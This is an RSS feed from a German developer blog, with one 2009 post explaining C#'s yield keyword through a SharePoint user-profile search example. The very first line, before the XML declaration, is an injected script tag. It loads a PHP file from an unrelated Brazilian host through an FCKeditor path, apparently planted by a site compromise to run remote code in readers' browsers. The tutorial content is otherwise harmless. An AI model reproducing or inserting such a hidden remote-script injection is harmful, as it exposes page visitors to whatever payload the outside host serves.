<script src=http://onortao.com.br/FCKeditor/ver_evento.php ></script><?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Xylon's Blog &#187; userprofile</title>
	<atom:link href="http://www.xentrope.de/tag/userprofile/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.xentrope.de</link>
	<description>I don't work here</description>
	<lastBuildDate>Fri, 30 Oct 2009 19:07:02 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>To yield or not to yield</title>
		<link>http://www.xentrope.de/allgemein/to-yield-or-not-to-yield/</link>
		<comments>http://www.xentrope.de/allgemein/to-yield-or-not-to-yield/#comments</comments>
		<pubDate>Fri, 19 Jun 2009 06:53:27 +0000</pubDate>
		<dc:creator>Rene Muster</dc:creator>
				<category><![CDATA[ASP.Net 3 / ASP.Net 3.5]]></category>
		<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[SharePoint 2007]]></category>
		<category><![CDATA[Visual Studio]]></category>
		<category><![CDATA[c#]]></category>
		<category><![CDATA[moss]]></category>
		<category><![CDATA[SharePoint]]></category>
		<category><![CDATA[userprofile]]></category>
		<category><![CDATA[yield]]></category>

		<guid isPermaLink="false">http://www.xentrope.de/?p=156</guid>
		<description><![CDATA[Das yield Keyword ist ein in C# häufig unterschätztes Keyword. Die MSDN &#8211; bzw. die C# Spezifikation &#8211; sagt dazu: Def: Wird in einem Iterator-Block verwendet, um für das Enumerationsobjekt einen Wert zu liefern oder um das Ende der Iteration zu signalisieren. Der Ausdruck wird ausgewertet und als ein Wert an das Enumerationsobjekt zurückgegeben. Der [...]]]></description>
			<content:encoded><![CDATA[<p>Das yield Keyword ist ein in C# häufig unterschätztes Keyword. Die MSDN &#8211; bzw. die C# Spezifikation &#8211; <a href="http://msdn.microsoft.com/de-de/library/9k7k7cf0(VS.80).aspx">sagt dazu</a>:</p>
<p><em>Def: Wird in einem Iterator-Block verwendet, um für das Enumerationsobjekt einen Wert zu liefern oder um das Ende der Iteration zu signalisieren.<br />
Der Ausdruck wird ausgewertet und als ein Wert an das Enumerationsobjekt zurückgegeben. Der expression muss implizit in den yield-Typ des Iterators konvertierbar sein.<br />
Die yield-Anweisung kann nur innerhalb eines iterator-Blocks stehen, der als Rumpf einer Methode, eines Operators oder eines Accessors verwendet wird. Der Rumpf solcher Methoden, Operatoren oder Accessoren unterliegt folgenden Einschränkungen:</em></p>
<p><em>- Unsichere Blöcke werden nicht zugelassen.<br />
- Parameter für die Methode, den Operator oder den Accessor dürfen nicht ref oder out sein.</em></p>
<p><em>Eine yield-Anweisung darf nicht in einer anonymen Methode stehen. Weitere Informationen finden Sie unter Anonyme Methoden (C#-Programmierhandbuch).<br />
Bei Verwendung mit expression darf eine yield return-Anweisung nicht in einem catch-Block oder einem try-Block stehen, der mehr als eine catch-Klausel enthält.</em></p>
<p>Wie sieht das jetzt in der Praxis aus?<br />
Das Beispiel in der MSDN ist jetzt nicht besonders praxistauglich, daher hier mal eine andere Verwendungsweise:</p>
<pre name='code' class='CSharp'>class Program
    {
        static void Main(string[] args)
        {
            string searchedCRMId = "de7ea510-8e55-de11-a210-0017084f5232";
            Console.WriteLine("Starting to search for user with CRM_ID '{0}'...", searchedCRMId);
            foreach (UserProfile item in GetProfiles("http://your_ssp_host/"))
            {
                string currentID = Convert.ToString(item["CRMUserID"].Value);
                if (string.IsNullOrEmpty(currentID))
                    continue;

if (currentID.Equals(searchedCRMId, StringComparison.CurrentCultureIgnoreCase))
                {
                    Console.WriteLine("Found searched user!\nAccountname: {0}", item[PropertyConstants.AccountName].Value);
                    break;
                }
            }
            Console.WriteLine("Done");
            Console.ReadLine();
        }

static IEnumerable&lt;UserProfile&gt; GetProfiles(string SharedServiceProviderUrl)
        {
            SPWebApplication webapp = SPWebApplication.Lookup(new Uri(SharedServiceProviderUrl));
            UserProfileManager upm = new UserProfileManager(ServerContext.GetContext(webapp));
            foreach (UserProfile profile in upm)
            {
                yield return profile;
            }
        }
    }</pre>
<p>Diese ConsoleApplication iteriert über alle vorhandenen UserProfile und vergleicht eine CustomProperty mit einem Suchwert. In der GetProfiles() Methode wird allerdings mittels &#8220;yield return profile&#8221; das aktuelle Profil aus der Auflistung zurückgegeben und die übergeordnete foreach-Schleife weiter bearbeitet. Das spart zum einen Performance und zum anderen Speicher.<br />
Zu beachten ist dabei allerdings, das bei folgender Verwendung immer das erste Item &#8220;verschwindet&#8221;:</p>
<pre name='code' class='CSharp'>IEnumerable&lt;UserProfile&gt; profileList = GetProfiles("http://your_ssp_host/");
foreach (UserProfile item in profileList)
{
 string currentID = Convert.ToString(item["CRMUserID"].Value);
        if (string.IsNullOrEmpty(currentID))
         continue;

if (currentID.Equals(searchedCRMId, StringComparison.CurrentCultureIgnoreCase))
        {
         Console.WriteLine("Found searched user!\nAccountname: {0}", item[PropertyConstants.AccountName].Value);
                break;
        }
}</pre>
<p>Die Ursache ist recht einfach:</p>
<table border="0">
<tbody>
<tr>
<td>Typische Implementation</td>
<td>Implementation mit yield</td>
</tr>
<tr>
<td>1. Funktionsaufruf</td>
<td>1.Funktionsaufruf</td>
</tr>
<tr>
<td>2.Funktion wird ausgeführt und gibt eine Liste zurück</td>
<td>2.Aufrufer fordert ein Item an</td>
</tr>
<tr>
<td>3.Aufrufer arbeitet mit der Liste</td>
<td>3.Nächstes Item aus der Auflistung wird zurückgegeben</td>
</tr>
<tr>
<td> </td>
<td>4.Sprung zu 2. solange wie der Aufrufer kein Item mehr haben will (break im Caller) oder keine Items mehr vorhanden sind</td>
</tr>
</tbody>
</table>
<p>Was man letztendlich verwendet ist natürlich immer von der Anforderung abhängig. :)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.xentrope.de/allgemein/to-yield-or-not-to-yield/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
